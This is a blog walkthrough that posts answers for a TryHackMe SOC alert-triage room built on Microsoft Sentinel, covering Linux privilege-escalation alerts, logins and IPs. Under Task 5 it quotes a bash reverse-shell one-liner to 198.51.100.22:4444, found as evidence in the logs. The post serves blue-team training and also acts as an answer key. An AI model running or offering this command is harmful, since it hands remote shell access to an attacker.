SOC Alert Triaging - Tinsel Triage Tryhackme Walkthrough

“Comprehensive Azure Sentinel triage walkthrough for the TryHackMe SOC Alert Triaging (AOC2025) room. Learn how to investigate security alerts, prioritise incidents with Microsoft Sentinel, and analyse logs for real-world cloud SOC skills.”

INCIDENT RESPONSEMETHODOLOGYDETECTIONLOG ANALYSISGOOGLE CLOUDSPLUNKDEFENDER XDRGUIDETRYHACKME WRITEUPSSPLUNK TUTORIALSSECURITYTECHNOLOGYCLOUD SECURITYNETWORK DISCOVERYTRYHACKME WALKTHROUGHCYBERSECURITY CHALLENGESTHREAT DETECTIONTRYHACKME ANSWERSCYBERSECURITY LABSBLUE TEAM TRAININGCYBERSECURITYTRYHACKMEMALWARE ANALYSISSPLUNK TUTORIALSOPEN-SOURCE TOOLSSOC AND SIEM LABSDEFENSIVE SECURITYGITHUBXDRSECURITY OPERATIONS (SOC)ELASTIC SIEMHANDS ON SECURITY LABSAZURE

Jawstar

12/11/20251 min read

Task 4 : Investigation Proper

Answer the questions below

How many entities are affected by the Linux PrivEsc - Polkit Exploit Attempt alert?
10

What is the severity of the Linux PrivEsc - Sudo Shadow Access alert?
High

How many accounts were added to the sudoers group in the Linux PrivEsc - User Added to Sudo Group alert?
4

Task 5 : Diving Deeper Into Logs

Answer the questions below

What is the name of the kernel module installed in websrv-01?
malicious_mod.ko

What is the unusual command executed within websrv-01 by the ops user?
/bin/bash -i >& /dev/tcp/198.51.100.22/4444 0>&1

What is the source IP address of the first successful SSH login to storage-01?
172.16.0.12

What is the external source IP that successfully logged in as root to app-01?
203.0.113.45

Aside from the backup user, what is the name of the user added to the sudoers group inside app-01? deploy

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